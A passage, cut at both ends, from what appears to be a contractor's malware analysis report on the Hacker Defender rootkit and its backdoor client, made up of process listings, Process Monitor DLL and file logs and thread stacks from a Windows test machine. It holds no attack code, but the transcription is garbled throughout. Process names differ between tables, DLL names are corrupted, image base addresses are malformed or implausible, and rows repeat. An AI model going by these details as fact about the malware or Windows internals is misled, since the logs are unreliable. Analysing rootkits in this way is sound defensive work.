<td>1012</td>
<td>8</td>
<td>9</td>
<td>222</td>
<td>1616</td>
</tr>
<tr>
<td>svchost</td>
<td>1048</td>
<td>8</td>
<td>86</td>
<td>1364</td>
<td>12632</td>
</tr>
<tr>
<td>svchost</td>
<td>1104</td>
<td>8</td>
<td>5</td>
<td>59</td>
<td>1060</td>
</tr>
<tr>
<td>svchost</td>
<td>1152</td>
<td>8</td>
<td>15</td>
<td>199</td>
<td>1612</td>
</tr>
<tr>
<td>spoolsv</td>
<td>1464</td>
<td>8</td>
<td>14</td>
<td>124</td>
<td>3128</td>
</tr>
<tr>
<td>explorer</td>
<td>1480</td>
<td>8</td>
<td>19</td>
<td>429</td>
<td>14248</td>
</tr>
<tr>
<td>gearsec</td>
<td>1612</td>
<td>8</td>
<td>2</td>
<td>29</td>
<td>248</td>
</tr>
<tr>
<td>ctfmon</td>
<td>1684</td>
<td>8</td>
<td>1</td>
<td>93</td>
<td>836</td>
</tr>
<tr>
<td>PQV2iSvc</td>
<td>1708</td>
<td>8</td>
<td>10</td>
<td>220</td>
<td>16340</td>
</tr>
<tr>
<td>GhostTray</td>
<td>1824</td>
<td>8</td>
<td>12</td>
<td>197</td>
<td>3304</td>
</tr>
<tr>
<td>alg</td>
<td>584</td>
<td>8</td>
<td>6</td>
<td>97</td>
<td>1060</td>
</tr>
<tr>
<td>wcsntfy</td>
<td>616</td>
<td>8</td>
<td>1</td>
<td>39</td>
<td>512</td>
</tr>
<tr>
<td>wuauctl</td>
<td>1196</td>
<td>8</td>
<td>7</td>
<td>201</td>
<td>6288</td>
</tr>
<tr>
<td>taskmgr</td>
<td>1368</td>
<td>13</td>
<td>3</td>
<td>80</td>
<td>1176</td>
</tr>
<tr>
<td>rdrbs100</td>
<td>1876</td>
<td>8</td>
<td>2</td>
<td>36</td>
<td>648</td>
</tr>
<tr>
<td>flypaper</td>
<td>684</td>
<td>8</td>
<td>1</td>
<td>38</td>
<td>536</td>
</tr>
<tr>
<td>hxdef100</td>
<td>712</td>
<td>8</td>
<td>1</td>
<td>14</td>
<td>1088</td>
</tr>
<tr>
<td>hxdOFena</td>
<td>724</td>
<td>8</td>
<td>1</td>
<td>14</td>
<td>1088</td>
</tr>
<tr>
<td>bdcli100</td>
<td>2024</td>
<td>8</td>
<td>1</td>
<td>20</td>
<td>404</td>
</tr>
<tr>
<td>mspaint</td>
<td>1216</td>
<td>8</td>
<td>11</td>
<td>113</td>
<td>14116</td>
</tr>
<tr>
<td>svchost</td>
<td>1100</td>
<td>8</td>
<td>9</td>
<td>133</td>
<td>2496</td>
</tr>
<tr>
<td>cmd</td>
<td>1404</td>
<td>8</td>
<td>1</td>
<td>34</td>
<td>1968</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Next, even though a bit redundant I have shown the Windows Task Manager to illustrate that they show up there as well. However, to make them stay visible in PSList or Task Manager I needed to utilize Flypaper.

**Windows Task Manager HxDefender**

<table>
<thead>
<tr>
<th>Image Name</th>
<th>User Name</th>
<th>CPU</th>
<th>Mem Usage</th>
<th>Handles</th>
<th>Threads</th>
</tr>
</thead>
<tbody>
<tr>
<td>bddcl100.exe</td>
<td>210user</td>
<td>00</td>
<td>1,304 K</td>
<td>20</td>
<td>1</td>
</tr>
<tr>
<td>rddb100.exe</td>
<td>210user</td>
<td>00</td>
<td>216 K</td>
<td>36</td>
<td>2</td>
</tr>
<tr>
<td>GhostTray.exe</td>
<td>210user</td>
<td>00</td>
<td>7,712 K</td>
<td>197</td>
<td>12</td>
</tr>
<tr>
<td>PQV2ISvc.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>19,200 K</td>
<td>225</td>
<td>9</td>
</tr>
<tr>
<td>ctftime.exe</td>
<td>210user</td>
<td>00</td>
<td>3,360 K</td>
<td>90</td>
<td>1</td>
</tr>
<tr>
<td>gearse.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,092 K</td>
<td>29</td>
<td>2</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>210user</td>
<td>00</td>
<td>21,292 K</td>
<td>408</td>
<td>14</td>
</tr>
<tr>
<td>spoolsv.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,476 K</td>
<td>124</td>
<td>14</td>
</tr>
<tr>
<td>taskmgr.exe</td>
<td>210user</td>
<td>01</td>
<td>2,056 K</td>
<td>80</td>
<td>3</td>
</tr>
<tr>
<td>wuautil.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>6,720 K</td>
<td>201</td>
<td>7</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>LOCAL SERVICE</td>
<td>00</td>
<td>4,224 K</td>
<td>193</td>
<td>14</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>2,828 K</td>
<td>59</td>
<td>5</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>19,400 K</td>
<td>1,363</td>
<td>80</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>4,020 K</td>
<td>217</td>
<td>9</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,624 K</td>
<td>196</td>
<td>19</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>5,880 K</td>
<td>349</td>
<td>24</td>
</tr>
<tr>
<td>services.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>3,284 K</td>
<td>251</td>
<td>15</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,556 K</td>
<td>522</td>
<td>24</td>
</tr>
<tr>
<td>hxd0Fena.exe</td>
<td>210user</td>
<td>00</td>
<td>1,408 K</td>
<td>14</td>
<td>1</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,288 K</td>
<td>401</td>
<td>11</td>
</tr>
<tr>
<td>hxd100.exe</td>
<td>210user</td>
<td>00</td>
<td>1,408 K</td>
<td>14</td>
<td>1</td>
</tr>
<tr>
<td>flypaper.exe</td>
<td>210user</td>
<td>00</td>
<td>2,912 K</td>
<td>38</td>
<td>1</td>
</tr>
<tr>
<td>smss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>372 K</td>
<td>19</td>
<td>3</td>
</tr>
<tr>
<td>wsctf.exe</td>
<td>210user</td>
<td>00</td>
<td>2,212 K</td>
<td>39</td>
<td>1</td>
</tr>
<tr>
<td>alg.exe</td>
<td>LOCAL SERVICE</td>
<td>00</td>
<td>3,412 K</td>
<td>100</td>
<td>7</td>
</tr>
<tr>
<td>System</td>
<td>SYSTEM</td>
<td>00</td>
<td>228 K</td>
<td>200</td>
<td>90</td>
</tr>
<tr>
<td>System Idle Process</td>
<td>SYSTEM</td>
<td>99</td>
<td>16 K</td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
### Process Monitor Dlls HxDef100.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Process Start</td>
<td></td>
<td></td>
<td>Parent PID: 1352</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Thread Create</td>
<td></td>
<td></td>
<td>Thread ID: 1952</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\Documents and Settings\210user\desktop\hxdef100.exe</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x4900000, Image Size: 0x9000</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\kernel32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c900000, Image Size: 0x9a00</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x8f000000, Image Size: 0x6500</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7e410000, Image Size: 0x9100</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77100000, Image Size: 0x9300</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77d00000, Image Size: 0x9b00</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77100000, Image Size: 0x9300</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77d00000, Image Size: 0x9b00</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\oleaut32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77120000, Image Size: 0x9b00</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\oleaut32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x774e0000, Image Size: 0x13e00</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\oleaut32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x774e0000, Image Size: 0x13e00</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>Thread Exit</td>
<td></td>
<td>SUCCESS</td>
<td>User Time: 0.000000, Kernel Time: 0.0701008</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>1848</td>
<td>CloseFile</td>
<td></td>
<td>SUCCESS</td>
<td>Exit Status: 0, User time: 0.0100144, Kernel time: 0.06008...</td>
</tr>
</tbody>
</table>

### Process Monitor File Activity HxDef100.exe

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Process</th>
<th>Function</th>
<th>Path</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdef100.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Process Explorer Thread Stacks HxDef100.exe

Thread Stack 1
ntoskrnl.exe ExReleaseResourceLite 0x1a3
ntoskrnl.exe PsGetContextThread 0x329
ntoskrnl.exe FsRtlInitializeFileLock 0x83f
ntoskrnl.exe FsRtlInitializeFileLock 0x87e
FLYPAPER.sys ZwYieldExecution 0x1954
ntoskrnl.exe ZwYieldExecution 0xb78
ntdll.dll KiFastSystemCallRet 0x49
kernel32.dll ExitProcess 0x14
hxdef100.exe RegisterWaitForInputIdle 0x3963
kernel32.dll RegisterWaitForInputIdle 0x49

Thread Stack 2
ntoskrnl.exe ExReleaseResourceLite 0x1a3
ntoskrnl.exe PsGetContextThread 0x329
ntoskrnl.exe FsRtlInitializeFileLock 0x83f
ntoskrnl.exe FsRtlInitializeFileLock 0x87e
FLYPAPER.sys ZwYieldExecution 0x1783
ntoskrnl.exe ZwYieldExecution 0xb78
ntdll.dll KiFastSystemCallRet 0x49
ntdll.dll RtlConvertUiListToApiList 0x343
### Process Monitor Dlls bdcli100.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Process Start</td>
<td></td>
<td>SUCCESS</td>
<td>Parent PID: 1352</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
<td>Thread ID: 1340</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Documents and Settings\210user\Desktop\bdcli100.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x400000, Image Size: 0x11000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\kernel32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c80000, Image Size: 0x60000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\user32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7e410000, Image Size: 0x49000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\gdi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7f10000, Image Size: 0x49000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77d0000, Image Size: 0x80000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\ventr4.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77e0000, Image Size: 0x52000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\vssver.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77d0000, Image Size: 0x11000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\voleaut32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x771c0000, Image Size: 0x4b000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\vssvcon.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77e0000, Image Size: 0x54000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\vole32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x774e0000, Image Size: 0x13000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\vssvcon.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x771c0000, Image Size: 0x19000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\vssvcon.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x774e0000, Image Size: 0x54000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Load image</td>
<td>C:\Windows\System32\vssvcon.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x771c0000, Image Size: 0x13000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>CreateFile</td>
<td>C:\Windows\Prefetch\BDCLI100.EXE-2F0A89FB4.pf</td>
<td>NAME NOT FOUND</td>
<td></td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>CreateFile</td>
<td>C:\Windows\Prefetch\BDCLI100.EXE-2F0A89FB4.pf</td>
<td>SUCCESS</td>
<td>Image Base: 0x771a0000, Image Size: 0x60000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop\bdcli100.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x7e20000, Image Size: 0x27000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>FileSystemControl</td>
<td>C:\Documents and Settings\210user\Desktop\bdcli100.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x7b60000, Image Size: 0x19000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>FileSystemControl</td>
<td>C:\Documents and Settings\210user\Desktop\bdcli100.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x7b60000, Image Size: 0x19000</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Thread Exit</td>
<td></td>
<td>SUCCESS</td>
<td>User Time: 0.000000, Kernel Time: 0.070108</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>Process Exit</td>
<td></td>
<td>SUCCESS</td>
<td>Exit Status: 0, User Time: 0.0010044, Kernel Time: 0.05008...</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Process</th>
<th>Offset</th>
<th>Function</th>
<th>Path</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>QueryOpen</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\Documents and</td>
<td>NAME NOT</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>Settings\210user\Desktop\DNSAPI.dll</td>
<td>FOUND</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\Documents and</td>
<td>NAME NOT</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>Settings\210user\Desktop\iphlpapi.dll</td>
<td>FOUND</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\iphlpapi.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\iphlpapi.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\winrnr.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\Documents and</td>
<td>NAME NOT</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>Settings\210user\Desktop\rasadhlp.dll</td>
<td>FOUND</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\rasadhlp.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\WINDOWS\system32\rasadhlp.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>1640</td>
<td>ReadFile</td>
<td>C:\Documents and</td>
<td>NAME NOT</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Process Name</th>
<th>Function</th>
<th>Address</th>
<th>Module</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>bdcli100.exe</td>
<td>QueryOpen</td>
<td>0x140</td>
<td>C:\Windows\system32\mswsock.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>QueryOpen</td>
<td>0x140</td>
<td>C:\Windows\system32\wshtcpip.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>CreateFile</td>
<td>0x140</td>
<td>C:\Windows\system32\wshtcpip.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>QueryStandardInfo</td>
<td>0x140</td>
<td>C:\Windows\system32\wshtcpip.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>CloseFile</td>
<td>0x140</td>
<td>C:\Windows\system32\wshtcpip.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>CloseFile</td>
<td>0x140</td>
<td>C:\Windows\system32\wshtcpip.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>ReadFile</td>
<td>0x140</td>
<td>C:\Windows\system32\wshtcpip.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>bdcli100.exe</td>
<td>ReadFile</td>
<td>0x140</td>
<td>C:\\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
## Process Monitor Dlls rdrbs100.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Process Start</td>
<td></td>
<td></td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Thread Create</td>
<td></td>
<td></td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Documents and Settings\21user\Desktop..</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Windows\system32\ntdll.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Windows\system32\ntuser32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Windows\system32\user32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
